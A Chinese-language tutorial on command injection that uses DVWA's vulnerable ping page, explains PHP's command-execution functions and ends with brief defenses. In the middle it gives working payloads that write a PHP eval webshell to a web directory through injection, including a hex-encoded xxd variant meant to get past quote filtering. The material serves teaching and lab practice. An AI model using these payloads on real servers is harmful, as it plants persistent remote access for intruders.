### 命令注入
即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。
以DVWA为例,下面使用ping命令测试IP,正常输入一个IP或者域名会返回一个正常的返回结果。
当输入恶意构造的语句 www.baidu.com && netstat -an,会把后面的语句也给执行了:
low 代码:
```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
```
执行结果:
![](/upload/attach/201804/201804251457_XQTHKTYSD33XZJH.jpg)
### PHP的常见命令执行函数:
system(),exec(),shell_exec(),passthru()
1、system()
system — 执行外部程序,并且显示输出
常规用法:
```
<?php
$whoami = system('whoami', $retval);
echo $retval; //外部命令执行后的返回状态
?>
```
![](/upload/attach/201804/201804251457_YNVX3RY7QNA5S2D.jpg)
```
<?php
$host = $argv[1];
system("ping ".$host);
?>
```
使用PHP执行:
php test1.php www.baidu.com
![](/upload/attach/201804/201804251457_YWC92KGY3AWT2GV.jpg)
如果恶意攻击者输入以下命令,则会造成任意命令执行:
php test1.php '|ls'
![](/upload/attach/201804/201804251458_9FAN44W7E655BPS.jpg)
2、exec()
exec — 执行一个外部程序
```
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
echo exec('whoami');
?>
```
![](/upload/attach/201804/201804251458_X7PG8MAEEYQQJRA.jpg)
3、shell_exec()
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
```
<?php
$output = shell_exec('ls');
echo "<pre>$output</pre>";
?>
```
![](/upload/attach/201804/201804251458_H9J37BDE86XC8JJ.jpg)
4、passthru()
passthru() 函数与 exec() 函数类似,执行外部程序并且显示原始输出。
### 命令注入写webshell:
Windows:
用^转义<
```
echo ^<?php eval($_POST[pass]); ?^> > web目录shell.php
```
如果加上单引号会写不进去,如果加双引号会把双引号一起写进去,所以要用^转义<
```
echo '<?php eval($_POST[pass]); ?>' > web目录shell.php
```
Linux:
linux下需要用来转义<,不过很多php都默认开启gpc,可以先用16进制转换一句话再用xxd命令把16进制还原.
```
echo '<?php eval($_POST[pass]);>' > web目录/shell.php
```
```
echo 3c3f706870206576616c28245f504f53545b706173735d293b3e|xxd -r -ps > web目录/shell.php
```
<?php eval($_POST[pass]);>
转换为16进制:
3c3f706870206576616c28245f504f53545b706173735d293b3e
由于我用的是Linux,所以使用payload写入一句话:
```
www.baidu.com & echo '<?php eval($_POST[pass]);>' > web目录/sh2ll.php
```
写入成功:
![](/upload/attach/201804/201804251458_89NGMF6CPVF64XR.jpg)
### 命令注入的防御措施:
1、采用白名单,或使用正则表达式进行过滤。
2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。
3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。